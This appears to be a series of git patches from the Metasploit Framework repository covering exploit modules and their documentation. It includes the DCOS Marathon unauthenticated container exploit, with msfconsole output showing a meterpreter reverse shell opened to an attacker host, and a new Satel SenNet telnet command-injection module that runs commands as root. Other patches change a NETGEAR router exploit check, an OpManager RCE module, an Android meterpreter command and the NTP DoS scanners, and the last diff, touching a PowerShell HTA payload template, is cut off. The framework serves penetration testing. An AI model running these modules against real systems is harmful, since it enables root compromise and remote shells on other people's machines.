8.8.8.8 +- 8.8.4.4 +ssh_port: 22 +ssh_user: root +``` +Example genconf/ip-detect +```bash +#!/usr/bin/env bash +set -o nounset -o errexit +export PATH=/usr/sbin:/usr/bin:$PATH +ip=$(ip addr show ens33) +echo $( echo $ip | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +``` + +place your id_rsa ssh key into the genconf file and rename the +file to ssh_key and `chmod 0600 genconf/ssh_key` + +Deploying the cluster +in the folder containing the genconf folder do the following. +NOTE: if following the cli install from DCOS itself, it will fail +if you do --install-prereqs. It will install an unsupported version of +docker. + +```bash +curl -O https://downloads.dcos.io/dcos/stable/dcos_generate_config.sh +chmod +x dcos_generate_config.sh +sudo ./dcos_generate_config.sh --genconf +sudo ./dcos_generate_config.sh --preflight +# If all preflight checks pass +sudo ./dcos_generate_config.sh --deploy +# get a cup of coffie +# wait a minute or two after deploy completes +sudo bash dcos_generate_config.sh --postflight +``` + +If all is passing navigate to http://:8080/ +You should see the Marathon UI web application. + +# Exploitation +This module is designed for attacker to leaverage the creatation of a +docker contianer with out authentication through the DCOS Marathon UI +to gain root access to the hosting server of the docker container +in the DCOS cluster. + +## Options +- RHOST is the target IP/Hostname that is hosting the Marathon UI Web application +- RPORT is the Port the Marathon UI service is running on. +- DOCKERIMAGE is the hub.docker.com docker container image you are wanting to have the DCOS Cluster to deploy for this exploit. +- TARGETURI this is the path to make the Marathon UI web request to. By default this is /v2/apps +- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. +- CONTAINER_ID is optional if you want to have your container docker have a human readable name else it will be randomly generated + +## Steps to exploit with module +- [ ] Start msfconsole +- [ ] use exploit/linux/http/dcos_marathon +- [ ] Set the options appropriately and set VERBOSE to true +- [ ] Verify it creates a docker container and it successfully runs +- [ ] After a minute a session should be opened from the agent server + +## Example Output +``` +msf > use exploit/linux/http/dcos_marathon +msf exploit(dcos_marathon) > set RHOST 192.168.0.9 +RHOST => 192.168.0.9 +msf exploit(dcos_marathon) > set payload python/meterpreter/reverse_tcp +payload => python/meterpreter/reverse_tcp +msf exploit(dcos_marathon) > set LHOST 192.168.0.100 +LHOST => 192.168.0.100 +msf exploit(dcos_marathon) > set verbose true +verbose => true +msf exploit(dcos_marathon) > check +[*] 192.168.0.9:8080 The target appears to be vulnerable. +msf exploit(dcos_marathon) > exploit + +[*] Started reverse TCP handler on 192.168.0.100:4444 +[*] Setting container json request variables +[*] Creating the docker container command +[*] The docker container is created, waiting for it to deploy +[*] Waiting up to 60 seconds for docker container to start +[*] The docker container is running, removing it +[*] Waiting for the cron job to run, can take up to 60 seconds +[*] Sending stage (39690 bytes) to 192.168.0.10 +[*] Meterpreter session 1 opened (192.168.0.100:4444 -> 192.168.0.10:54468) at 2017-03-01 14:22:02 -0500 +[+] Deleted /etc/cron.d/FOWkTeZL +[+] Deleted /tmp/TIWpOfUR + +meterpreter > sysinfo +Computer : localhost.localdomain +OS : Linux 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` From 6c69e13e0004f2e60f8172af40809b48fb1ba887 Mon Sep 17 00:00:00 2001 From: wolfthefallen Date: Sat, 4 Mar 2017 11:28:30 -0500 Subject: [PATCH 014/686] Updated based on comments --- .../modules/exploit/linux/http/dcos_marathon.md | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/linux/http/dcos_marathon.md b/documentation/modules/exploit/linux/http/dcos_marathon.md index aec7d7c623..fcf52aa50f 100644 --- a/documentation/modules/exploit/linux/http/dcos_marathon.md +++ b/documentation/modules/exploit/linux/http/dcos_marathon.md @@ -73,11 +73,12 @@ rm ~/.ssh/id_rsa # before doing this make sure you have saved a copy for later Shut down the CentOS vm, take a snapshot. (This will be your base) clone the VM 2 times. One will be DCOS-Master, the Other DCOS-Agent. -Start both virtual machines. Login and get their current IP address. -I recommend giving them static IPs if you have further use for the cluster. +Start the DCOS-Master and DCOS-Agent virtual machines You just cloned. +Login and get their current IP address. +* Note: I recommend giving them static IPs if you have further use for the cluster. From here use another linux machine with docker installed to finish -the installation process. I used a ubuntu machine with docker installed. +the installation process. I used an ubuntu machine with docker installed. Follow the custom CLI guide for creating the required files in the genconf folder. @@ -132,18 +133,16 @@ sudo ./dcos_generate_config.sh --deploy sudo bash dcos_generate_config.sh --postflight ``` -If all is passing navigate to http://:8080/ +If all is passing navigate to http://[master_ip]:8080/ You should see the Marathon UI web application. # Exploitation -This module is designed for attacker to leaverage the creatation of a +This module is designed for the attacker to leaverage the creatation of a docker contianer with out authentication through the DCOS Marathon UI to gain root access to the hosting server of the docker container in the DCOS cluster. ## Options -- RHOST is the target IP/Hostname that is hosting the Marathon UI Web application -- RPORT is the Port the Marathon UI service is running on. - DOCKERIMAGE is the hub.docker.com docker container image you are wanting to have the DCOS Cluster to deploy for this exploit. - TARGETURI this is the path to make the Marathon UI web request to. By default this is /v2/apps - WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. From 62bcc95b7fa5cae623b8381bcd41b717a7cee29d Mon Sep 17 00:00:00 2001 From: Carter Date: Sun, 5 Mar 2017 01:53:34 -0500 Subject: [PATCH 015/686] Update model check --- modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb index 2f0f787064..ec70937330 100644 --- a/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb +++ b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb @@ -66,7 +66,8 @@ class MetasploitModule < Msf::Exploit::Remote marker_two = "\"" model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] vprint_status("Router is a NETGEAR router (#{model})") - if model == 'DGN2200v1' || model == 'DGN2200v2' || model == 'DGN2200v3' || model == 'DGN2200v4' + model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4'] + if model_numbers.include?(model) print_good("Router may be vulnerable (NETGEAR #{model})") return CheckCode::Detected else From 14ed60e44de65ca34974526b68502b67fe6ba65f Mon Sep 17 00:00:00 2001 From: Carter Date: Sun, 5 Mar 2017 02:06:43 -0500 Subject: [PATCH 016/686] Fix msftidy warning --- modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb index ec70937330..7d88e5b16c 100644 --- a/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb +++ b/modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] vprint_status("Router is a NETGEAR router (#{model})") model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4'] - if model_numbers.include?(model) + if model_numbers.include?(model) print_good("Router may be vulnerable (NETGEAR #{model})") return CheckCode::Detected else From a65936452fdb1fbd17386a70d5f957beee16e3f2 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 28 Mar 2017 16:24:11 +0800 Subject: [PATCH 017/686] Add android wakelock command to turn the screen on --- .../post/meterpreter/ui/console/command_dispatcher/android.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 63203eeef9..86d92c96f4 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -701,6 +701,7 @@ class Console::CommandDispatcher::Android wakelock_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-r' => [ false, 'Release wakelock' ], + '-w' => [ false, 'Turn screen on' ], '-f' => [ true, 'Advanced Wakelock flags (e.g 268435456)' ], ) @@ -713,6 +714,9 @@ class Console::CommandDispatcher::Android return when '-r' flags = 0 + when '-w' + client.android.wakelock(0) + flags = 268435482 when '-f' flags = val.to_i end From 5f88971ca9a9bb62845f765f555a3ab12fd16ad0 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 1 Apr 2017 06:58:36 -0500 Subject: [PATCH 018/686] convert NTP modules to bindata --- lib/rex/proto/ntp/modes.rb | 112 +++++++++--------- .../fuzzers/ntp/ntp_protocol_fuzzer.rb | 8 +- modules/auxiliary/scanner/ntp/ntp_monlist.rb | 4 +- .../scanner/ntp/ntp_nak_to_the_future.rb | 4 +- .../scanner/ntp/ntp_peer_list_dos.rb | 2 +- .../scanner/ntp/ntp_peer_list_sum_dos.rb | 2 +- modules/auxiliary/scanner/ntp/ntp_readvar.rb | 2 +- .../scanner/ntp/ntp_req_nonce_dos.rb | 2 +- .../auxiliary/scanner/ntp/ntp_reslist_dos.rb | 2 +- .../scanner/ntp/ntp_unsettrap_dos.rb | 2 +- spec/lib/rex/proto/ntp/modes_spec.rb | 12 +- 11 files changed, 79 insertions(+), 73 deletions(-) diff --git a/lib/rex/proto/ntp/modes.rb b/lib/rex/proto/ntp/modes.rb index 7e0004295b..9df4abb8f5 100644 --- a/lib/rex/proto/ntp/modes.rb +++ b/lib/rex/proto/ntp/modes.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -require 'bit-struct' +require 'bindata' module Rex module Proto @@ -16,24 +16,25 @@ module NTP # pages 45/48 of http://tools.ietf.org/pdf/rfc1119.pdf # http://tools.ietf.org/html/rfc1305#appendix-D # http://tools.ietf.org/html/rfc5905#page-19 - class NTPGeneric < BitStruct + class NTPGeneric < BinData::Record # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # |LI | VN | mode| Stratum | Poll | Precision | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - unsigned :li, 2, default: 0 - unsigned :version, 3, default: 0 - unsigned :mode, 3, default: 0 - unsigned :stratum, 8, default: 0 - unsigned :poll, 8, default: 0 - unsigned :precision, 8, default: 0 - rest :payload + endian :big + bit2 :li + bit3 :version + bit3 :mode + uint8 :stratum + uint8 :poll + uint8 :precision + rest :payload end # An NTP control message. Control messages are only specified for NTP # versions 2-4, but this is a fuzzer so why not try them all... - class NTPControl < BitStruct + class NTPControl < BinData::Record # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ @@ -43,25 +44,26 @@ module NTP # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | offset | count | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - unsigned :reserved, 2, default: 0 - unsigned :version, 3, default: 0 - unsigned :mode, 3, default: 6 - unsigned :response, 1, default: 0 - unsigned :error, 1, default: 0 - unsigned :more, 1, default: 0 - unsigned :operation, 5, default: 0 - unsigned :sequence, 16, default: 0 - unsigned :status, 16, default: 0 - unsigned :association_id, 16, default: 0 + endian :big + bit2 :reserved + bit3 :version + bit3 :mode, initial_value: 6 + bit1 :response + bit1 :error + bit1 :more + bit5 :operation + uint16 :sequence + uint16 :status + uint16 :association_id # TODO: there *must* be bugs in the handling of these next two fields! - unsigned :payload_offset, 16, default: 0 - unsigned :payload_size, 16, default: 0 - rest :payload + uint16 :payload_offset + uint16 :payload_size + rest :payload end # An NTP "private" message. Private messages are only specified for NTP # versions 2-4, but this is a fuzzer so why not try them all... - class NTPPrivate < BitStruct + class NTPPrivate < BinData::Record # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ @@ -69,44 +71,46 @@ module NTP # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | err | Number of data items | MBZ | Size of data item | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - unsigned :response, 1, default: 0 - unsigned :more, 1, default: 0 - unsigned :version, 3, default: 0 - unsigned :mode, 3, default: 7 - unsigned :auth, 1, default: 0 - unsigned :sequence, 7, default: 0 - unsigned :implementation, 8, default: 0 - unsigned :request_code, 8, default: 0 - unsigned :error, 4, default: 0 - unsigned :record_count, 12, default: 0 - unsigned :mbz, 4, default: 0 - unsigned :record_size, 12, default: 0 - rest :payload + endian :big + bit1 :response + bit1 :more + bit3 :version + bit3 :mode, initial_value: 7 + bit1 :auth + bit7 :sequence + uint8 :implementation + uint8 :request_code + bit4 :error + bit12 :record_count + bit4 :mbz + bit12 :record_size + rest :payload def records records = [] 1.upto(record_count) do |record_num| - records << payload[record_size*(record_num-1), record_size] + records << payload[record_size * (record_num - 1), record_size] end records end end - class NTPSymmetric < BitStruct - unsigned :li, 2, default: 0 - unsigned :version, 3, default: 3 - unsigned :mode, 3, default: 0 - unsigned :stratum, 8, default: 0 - unsigned :poll, 8, default: 0 - unsigned :precision, 8, default: 0 - unsigned :root_delay, 32, default: 0 - unsigned :root_dispersion, 32, default: 0 - unsigned :reference_id, 32, default: 0 - unsigned :reference_timestamp, 64, default: 0 - unsigned :origin_timestamp, 64, default: 0 - unsigned :receive_timestamp, 64, default: 0 - unsigned :transmit_timestamp, 64, default: 0 - rest :payload + class NTPSymmetric < BinData::Record + endian :big + bit2 :li + bit3 :version, initial_value: 3 + bit3 :mode + uint8 :stratum + uint8 :poll + uint8 :precision + uint32 :root_delay + uint32 :root_dispersion + uint32 :reference_id + uint64 :reference_timestamp + uint64 :origin_timestamp + uint64 :receive_timestamp + uint64 :transmit_timestamp + rest :payload end def self.ntp_control(version, operation, payload = nil) @@ -139,7 +143,7 @@ module NTP # Parses the given message and provides a description about the NTP message inside def self.describe(message) - ntp = NTPGeneric.new(message) + ntp = NTPGeneric.new.read(message) "#{message.size}-byte version #{ntp.version} mode #{ntp.mode} reply" end end diff --git a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb index 1168560d9d..51fa9bf73c 100644 --- a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb +++ b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb @@ -116,7 +116,7 @@ class MetasploitModule < Msf::Auxiliary print_status("#{host}:#{rport} fuzzing version #{version} private messages (mode 7)") @mode_7_implementations.each do |implementation| @mode_7_request_codes.each do |request_code| - request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\x00" * 188) + request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\0" * 188) what = "#{request.size}-byte version #{version} mode 7 imp #{implementation} req #{request_code} message" vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}") responses = probe(host, datastore['RPORT'].to_i, request) @@ -177,6 +177,7 @@ class MetasploitModule < Msf::Auxiliary # Sends +message+ to +host+ on UDP port +port+, returning all replies def probe(host, port, message) + message = message.to_binary_s if message.respond_to?('to_binary_s') replies = [] begin udp_sock.sendto(message, host, port, 0) @@ -194,14 +195,15 @@ class MetasploitModule < Msf::Auxiliary def handle_responses(host, request, responses, what) problems = [] descriptions = [] + request = request.to_binary_s if request.respond_to?('to_binary_s') responses.select! { |r| r[1] } return if responses.empty? responses.each do |response| data = response[0] descriptions << Rex::Proto::NTP.describe(data) problems << 'large response' if request.size < data.size - ntp_req = Rex::Proto::NTP::NTPGeneric.new(request) - ntp_resp = Rex::Proto::NTP::NTPGeneric.new(data) + ntp_req = Rex::Proto::NTP::NTPGeneric.new.read(request) + ntp_resp = Rex::Proto::NTP::NTPGeneric.new.read(data) problems << 'version mismatch' if ntp_req.version != ntp_resp.version end diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index a1cc544140..b938b62c3c 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= { messages: [], peers: [] } - @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data) + @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new.read(data) @results[shost][:peers] << extract_peer_tuples(data) end @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Auxiliary def scanner_prescan(batch) @results = {} @aliases = {} - @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 42) + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 42, "\0" * 40) end # Called after the scan block diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index 3c9fd1e670..3d1dbd04a3 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -83,11 +83,11 @@ class MetasploitModule < Msf::Auxiliary probe = build_crypto_nak(canary_timestamp) udp_sock.put(probe) - expected_length = probe.length - probe.payload.length + expected_length = probe.to_binary_s.length - probe.payload.length response = udp_sock.timed_read(expected_length) disconnect_udp if response.length == expected_length - ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new(response) + ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new.read(response) if ntp_symmetric.mode == 2 && ntp_symmetric.origin_timestamp == canary_timestamp vprint_good("#{rhost}:#{rport} - NTP - VULNERABLE: Accepted a NTP symmetric active association") report_vuln( diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb index ed78121c35..183d4a4ebb 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] - @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + @results[shost] << Rex::Proto::NTP::NTPPrivate.new.read(data) end # Called after the scan block diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb index 47e78484c0..d7a11eddc8 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] - @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + @results[shost] << Rex::Proto::NTP::NTPPrivate.new.read(data) end # Called before the scan block diff --git a/modules/auxiliary/scanner/ntp/ntp_readvar.rb b/modules/auxiliary/scanner/ntp/ntp_readvar.rb index 1da9bb99e7..8a1158e442 100644 --- a/modules/auxiliary/scanner/ntp/ntp_readvar.rb +++ b/modules/auxiliary/scanner/ntp/ntp_readvar.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary def scanner_process(data, shost, _sport) @results[shost] ||= [] - @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + @results[shost] << Rex::Proto::NTP::NTPControl.new.read(data) end def scan_host(ip) diff --git a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb index 1e32c29acd..1fdce97578 100644 --- a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] - @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + @results[shost] << Rex::Proto::NTP::NTPControl.new.read(data) end # Called before the scan block diff --git a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb index f83e1350f8..1a4ca791ff 100644 --- a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] - @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + @results[shost] << Rex::Proto::NTP::NTPPrivate.new.read(data) end # Called before the scan block diff --git a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb index 3e94f7c34e..9c60e75e9e 100644 --- a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] - @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + @results[shost] << Rex::Proto::NTP::NTPControl.new.read(data) end # Called before the scan block diff --git a/spec/lib/rex/proto/ntp/modes_spec.rb b/spec/lib/rex/proto/ntp/modes_spec.rb index 6e46adf19e..73c9efdbb7 100644 --- a/spec/lib/rex/proto/ntp/modes_spec.rb +++ b/spec/lib/rex/proto/ntp/modes_spec.rb @@ -24,11 +24,11 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates control NTP messages correctly' do - expect(@control_raw).to eq @control.to_s + expect(@control_raw).to eq @control.to_binary_s end it 'Parses control NTP messages correctly' do - parsed_raw = Rex::Proto::NTP::NTPControl.new(@control_raw) + parsed_raw = Rex::Proto::NTP::NTPControl.new.read(@control_raw) expect(@control).to eq parsed_raw end end @@ -47,11 +47,11 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates generic NTP messages correctly' do - expect(@generic_raw).to eq @generic.to_s + expect(@generic_raw).to eq @generic.to_binary_s end it 'Parses generic NTP messages correctly' do - parsed_raw = Rex::Proto::NTP::NTPGeneric.new(@generic_raw) + parsed_raw = Rex::Proto::NTP::NTPGeneric.new.read(@generic_raw) expect(@generic).to eq parsed_raw end end @@ -72,11 +72,11 @@ RSpec.describe "Rex::Proto::NTP mode message handling" do end it 'Generates private NTP messages correctly' do - expect(@private_raw).to eq @private.to_s + expect(@private_raw).to eq @private.to_binary_s end it 'Parses private NTP messages correctly' do - parsed_raw = Rex::Proto::NTP::NTPPrivate.new(@private_raw) + parsed_raw = Rex::Proto::NTP::NTPPrivate.new.read(@private_raw) expect(@private).to eq parsed_raw end end From e65eacce49523f8fdee1a42d1b367f9d7b1c4882 Mon Sep 17 00:00:00 2001 From: juushya Date: Fri, 7 Apr 2017 02:22:11 +0530 Subject: [PATCH 019/686] Add Satel SenNet Command Exec Module --- .../scanner/telnet/satel_cmd_exec.md | 23 +++++ .../scanner/telnet/satel_cmd_exec.rb | 86 +++++++++++++++++++ 2 files changed, 109 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md create mode 100644 modules/auxiliary/scanner/telnet/satel_cmd_exec.rb diff --git a/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md b/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md new file mode 100644 index 0000000000..0ab3e89e80 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md @@ -0,0 +1,23 @@ +This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/telnet/satel_cmd_exec``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/telnet/satel_cmd_exec +msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7 +msf auxiliary(satel_cmd_exec) > run + +[*] 1.3.3.7:5000 - Sending command now - id; +[+] 1.3.3.7:5000 - uid=0(root) gid=0(root) +[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000004_1.3.3.7_cmdexeclog_528409.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb b/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb new file mode 100644 index 0000000000..a8be39ab8c --- /dev/null +++ b/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb @@ -0,0 +1,86 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Telnet + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Satel SenNet Data Logger Privileged Shell Arbitrary Command Execution Vulnerability', + 'Description' => %q{ + This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'. + }, + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'DisclosureDate' => 'Apr 07, 2017', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(5000), + OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]), + OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd;']) + ], self.class + ) + + deregister_options('USERNAME', 'PASSWORD') + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run_host(ip) + to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT'] + begin + ::Timeout.timeout(to) do + command = datastore['CMD'] + inject = '$true; ' + "#{command}" + res = connect + + print_status("Sending command now - #{command}") + + sock.puts(inject) + data = sock.get_once(-1, 5) + + print_good("#{data}") + + loot_name = 'cmd-exec-log' + loot_type = 'text/plain' + loot_desc = 'Satel SenNet CMD Exec Dump' + p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc) + print_good("File saved in: #{p}") + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + ensure + disconnect + end + end +end From 178d68003eba5121e8f70d8e50636ac6a0fc6834 Mon Sep 17 00:00:00 2001 From: Sara Perez Date: Tue, 18 Apr 2017 10:32:28 +0100 Subject: [PATCH 020/686] version check, as the name for the api key call changes on 11.0. Line 130 --- .../exploits/windows/http/manage_engine_opmanager_rce.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb index f707b34c05..c76452cfbb 100644 --- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb +++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb @@ -121,8 +121,14 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => redirect, 'method' => 'GET' }) + if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/ + version = $1 + else + fail_with(Failure::Unknown, "#{peer} - Could not gather the version in use") + end - if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/ + if res && res.code == 200 && ((version == 11.6 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/) || (version == 11.0 && res.body =~ /window.apiKey = "([a-z0-9]+)"/)) + # the line above checks for the version, as for version 11.0 the call for the api key value is different but the rest of the exploit works the same. api_key = $1 print_status("Retrieved API key [ #{api_key} ]") else From c724f0e05d7b49c3d90aecf8c6b3da2b79aa7654 Mon Sep 17 00:00:00 2001 From: Brandon Knight Date: Wed, 19 Apr 2017 11:22:38 -0400 Subject: [PATCH 021/686] Handle multiple entries in PSModulePath This commit handles the case where more than one entry exists in the PSModulePath environment variable. The updated code will loop through each entry in the PSModulePath checking for the presence of powershell.exe. When one is encountered it will execute the payload and exit the for loop. --- data/templates/scripts/to_powershell.hta.template | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/data/templates/scripts/to_powershell.hta.template 